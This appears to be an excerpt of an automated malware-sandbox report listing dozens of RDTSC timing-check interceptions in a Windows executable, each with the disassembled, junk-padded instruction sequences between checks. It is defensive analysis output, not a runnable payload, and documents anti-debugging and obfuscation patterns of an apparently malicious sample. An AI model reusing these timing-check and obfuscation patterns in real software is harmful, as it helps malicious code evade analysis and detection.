Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 3063A8 second address: 3063CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94BEBC28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 3063CE second address: 30641B instructions: 0x00000000 rdtsc 0x00000002 jno 00007FCE94E6121Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f jmp 00007FCE94E61211h 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 pop edx 0x00000018 popad 0x00000019 mov eax, dword ptr [eax] 0x0000001b push eax 0x0000001c push edx 0x0000001d jo 00007FCE94E6120Ch 0x00000023 jnc 00007FCE94E61206h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 307729 second address: 30772F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 30772F second address: 307733 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47D040D second address: 47D0411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47D0411 second address: 47D0428 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94E61213h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47D0428 second address: 47D042E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47D042E second address: 47D04CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FCE94E6120Eh 0x0000000e xchg eax, ebp 0x0000000f jmp 00007FCE94E61210h 0x00000014 mov ebp, esp 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FCE94E6120Eh 0x0000001d or al, FFFFFFA8h 0x00000020 jmp 00007FCE94E6120Bh 0x00000025 popfd 0x00000026 movzx esi, dx 0x00000029 popad 0x0000002a mov edx, dword ptr [ebp+0Ch] 0x0000002d jmp 00007FCE94E6120Bh 0x00000032 mov ecx, dword ptr [ebp+08h] 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 mov ebx, 5A8077C6h 0x0000003d pushfd 0x0000003e jmp 00007FCE94E61217h 0x00000043 adc ah, 0000004Eh 0x00000046 jmp 00007FCE94E61219h 0x0000004b popfd 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47D04E3 second address: 47D04FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94BEBC23h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47D04FA second address: 47D0520 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 33352241h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FCE94E61216h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47D0520 second address: 47D052F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94BEBC1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47F064A second address: 47F067A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov al, dh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b jmp 00007FCE94E61214h 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FCE94E6120Eh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47F067A second address: 47F069E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 4DA662F4h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FCE94BEBC24h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47F069E second address: 47F06A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47F06A4 second address: 47F06C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94BEBC1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FCE94BEBC1Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47F06C8 second address: 47F06CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47F06CE second address: 47F06D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47F06D2 second address: 47F0781 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94E61213h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c jmp 00007FCE94E61216h 0x00000011 push eax 0x00000012 pushad 0x00000013 jmp 00007FCE94E61211h 0x00000018 pushfd 0x00000019 jmp 00007FCE94E61210h 0x0000001e adc si, FEF8h 0x00000023 jmp 00007FCE94E6120Bh 0x00000028 popfd 0x00000029 popad 0x0000002a xchg eax, ecx 0x0000002b pushad 0x0000002c mov bl, ch 0x0000002e mov di, 6CD4h 0x00000032 popad 0x00000033 push esp 0x00000034 pushad 0x00000035 mov di, si 0x00000038 popad 0x00000039 mov dword ptr [esp], esi 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f pushfd 0x00000040 jmp 00007FCE94E61213h 0x00000045 adc esi, 1DDFB81Eh 0x0000004b jmp 00007FCE94E61219h 0x00000050 popfd 0x00000051 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47F0781 second address: 47F0785 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47F0785 second address: 47F07C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FCE94E6120Eh 0x0000000c adc ch, 00000018h 0x0000000f jmp 00007FCE94E6120Bh 0x00000014 popfd 0x00000015 popad 0x00000016 lea eax, dword ptr [ebp-04h] 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FCE94E61215h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E01A9 second address: 47E01E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FCE94BEBC1Bh 0x00000009 adc esi, 3BED027Eh 0x0000000f jmp 00007FCE94BEBC29h 0x00000014 popfd 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov ebx, 4878EC8Ch 0x00000023 mov ecx, edi 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E01E9 second address: 47E0245 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, ax 0x00000006 mov eax, 485754AFh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FCE94E61217h 0x00000019 adc cx, 91EEh 0x0000001e jmp 00007FCE94E61219h 0x00000023 popfd 0x00000024 call 00007FCE94E61210h 0x00000029 pop ecx 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0245 second address: 47E0292 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94BEBC20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 2Ch 0x0000000c jmp 00007FCE94BEBC20h 0x00000011 xchg eax, ebx 0x00000012 pushad 0x00000013 movzx eax, bx 0x00000016 mov bx, CD5Eh 0x0000001a popad 0x0000001b push eax 0x0000001c jmp 00007FCE94BEBC24h 0x00000021 xchg eax, ebx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0292 second address: 47E0296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0296 second address: 47E029C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E029C second address: 47E0329 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94E61214h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FCE94E6120Eh 0x00000011 jmp 00007FCE94E61215h 0x00000016 popfd 0x00000017 call 00007FCE94E61210h 0x0000001c pushfd 0x0000001d jmp 00007FCE94E61212h 0x00000022 xor ax, 0D48h 0x00000027 jmp 00007FCE94E6120Bh 0x0000002c popfd 0x0000002d pop esi 0x0000002e popad 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007FCE94E61215h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0329 second address: 47E032F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E032F second address: 47E0333 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0333 second address: 47E0364 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94BEBC23h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FCE94BEBC25h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0364 second address: 47E036A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E036A second address: 47E036E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0439 second address: 47E0455 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCE94E61218h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0455 second address: 47E0480 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea ecx, dword ptr [ebp-14h] 0x0000000b jmp 00007FCE94BEBC27h 0x00000010 mov dword ptr [ebp-14h], edi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0480 second address: 47E0484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0484 second address: 47E048A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E04A3 second address: 47E04A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E04A7 second address: 47E04AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E04AD second address: 47E04B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0566 second address: 47E05BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 pushfd 0x00000006 jmp 00007FCE94BEBC1Bh 0x0000000b sub ax, D8DEh 0x00000010 jmp 00007FCE94BEBC29h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 js 00007FCE94BEBCB0h 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FCE94BEBC28h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E05BB second address: 47E05BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E05BF second address: 47E05C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E05C5 second address: 47E05D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCE94E6120Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E05D6 second address: 47E0605 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94BEBC21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [ebp-14h], edi 0x0000000e pushad 0x0000000f mov edx, ecx 0x00000011 mov eax, 1F61D85Fh 0x00000016 popad 0x00000017 jne 00007FCF06029AB8h 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0605 second address: 47E061C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94E61213h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E061C second address: 47E06EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94BEBC29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d push esi 0x0000000e pushfd 0x0000000f jmp 00007FCE94BEBC23h 0x00000014 xor al, 0000006Eh 0x00000017 jmp 00007FCE94BEBC29h 0x0000001c popfd 0x0000001d pop eax 0x0000001e call 00007FCE94BEBC21h 0x00000023 mov ax, 7AE7h 0x00000027 pop esi 0x00000028 popad 0x00000029 lea eax, dword ptr [ebp-2Ch] 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007FCE94BEBC29h 0x00000033 adc cl, 00000006h 0x00000036 jmp 00007FCE94BEBC21h 0x0000003b popfd 0x0000003c call 00007FCE94BEBC20h 0x00000041 mov ebx, esi 0x00000043 pop eax 0x00000044 popad 0x00000045 push ebx 0x00000046 jmp 00007FCE94BEBC1Ah 0x0000004b mov dword ptr [esp], esi 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007FCE94BEBC1Ah 0x00000057 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E06EA second address: 47E06F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94E6120Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E06F9 second address: 47E0701 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0701 second address: 47E0739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 jmp 00007FCE94E6120Ch 0x0000000d push eax 0x0000000e jmp 00007FCE94E6120Bh 0x00000013 nop 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FCE94E61215h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0739 second address: 47E0749 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCE94BEBC1Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0749 second address: 47E074D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0810 second address: 47E082B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCE94BEBC27h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E082B second address: 47E082F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E082F second address: 47E0842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movzx ecx, dx 0x00000010 push edi 0x00000011 pop esi 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0842 second address: 47E0848 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0848 second address: 47E084C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E084C second address: 47E0041 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94E6120Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FCF0629EFFBh 0x00000011 xor eax, eax 0x00000013 jmp 00007FCE94E3A93Ah 0x00000018 pop esi 0x00000019 pop edi 0x0000001a pop ebx 0x0000001b leave 0x0000001c retn 0004h 0x0000001f nop 0x00000020 sub esp, 04h 0x00000023 mov esi, eax 0x00000025 xor ebx, ebx 0x00000027 cmp esi, 00000000h 0x0000002a je 00007FCE94E61345h 0x00000030 call 00007FCE995FD24Ch 0x00000035 mov edi, edi 0x00000037 jmp 00007FCE94E61217h 0x0000003c xchg eax, ebp 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 pushfd 0x00000041 jmp 00007FCE94E6120Bh 0x00000046 jmp 00007FCE94E61213h 0x0000004b popfd 0x0000004c movzx eax, dx 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0041 second address: 47E0068 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94BEBC22h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FCE94BEBC1Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0068 second address: 47E006E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E006E second address: 47E0072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0072 second address: 47E00D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FCE94E61219h 0x0000000e mov ebp, esp 0x00000010 jmp 00007FCE94E6120Eh 0x00000015 xchg eax, ecx 0x00000016 jmp 00007FCE94E61210h 0x0000001b push eax 0x0000001c jmp 00007FCE94E6120Bh 0x00000021 xchg eax, ecx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FCE94E61215h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0BFF second address: 47E0C12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94BEBC1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0C12 second address: 47E0C55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, dh 0x00000005 movzx eax, di 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jmp 00007FCE94E61218h 0x00000011 mov dword ptr [esp], ebp 0x00000014 pushad 0x00000015 mov dh, cl 0x00000017 movsx edx, ax 0x0000001a popad 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FCE94E61211h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0C55 second address: 47E0C77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94BEBC21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [75C7459Ch], 05h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov dh, 0Ch 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0C77 second address: 47E0CA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FCE94E6120Eh 0x00000008 pop eax 0x00000009 jmp 00007FCE94E6120Bh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 je 00007FCF0628EF6Eh 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov edi, 29483106h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0CA7 second address: 47E0CAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0CAC second address: 47E0CB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0CB2 second address: 47E0CB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0D72 second address: 47E0D8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94E61216h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0D8C second address: 47E0D91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0D91 second address: 47E0DFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FCE94E61217h 0x0000000a sub ecx, 0A48CB1Eh 0x00000010 jmp 00007FCE94E61219h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d pushad 0x0000001e mov esi, 53287239h 0x00000023 popad 0x00000024 pop eax 0x00000025 jmp 00007FCE94E61214h 0x0000002a call 00007FCF06295F88h 0x0000002f push 75C12B70h 0x00000034 push dword ptr fs:[00000000h] 0x0000003b mov eax, dword ptr [esp+10h] 0x0000003f mov dword ptr [esp+10h], ebp 0x00000043 lea ebp, dword ptr [esp+10h] 0x00000047 sub esp, eax 0x00000049 push ebx 0x0000004a push esi 0x0000004b push edi 0x0000004c mov eax, dword ptr [75C74538h] 0x00000051 xor dword ptr [ebp-04h], eax 0x00000054 xor eax, ebp 0x00000056 push eax 0x00000057 mov dword ptr [ebp-18h], esp 0x0000005a push dword ptr [ebp-08h] 0x0000005d mov eax, dword ptr [ebp-04h] 0x00000060 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000067 mov dword ptr [ebp-08h], eax 0x0000006a lea eax, dword ptr [ebp-10h] 0x0000006d mov dword ptr fs:[00000000h], eax 0x00000073 ret 0x00000074 push eax 0x00000075 push edx 0x00000076 push eax 0x00000077 push edx 0x00000078 pushad 0x00000079 popad 0x0000007a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47E0DFB second address: 47E0E01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47F0970 second address: 47F0976 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47F0976 second address: 47F097A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 47F097A second address: 47F097E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
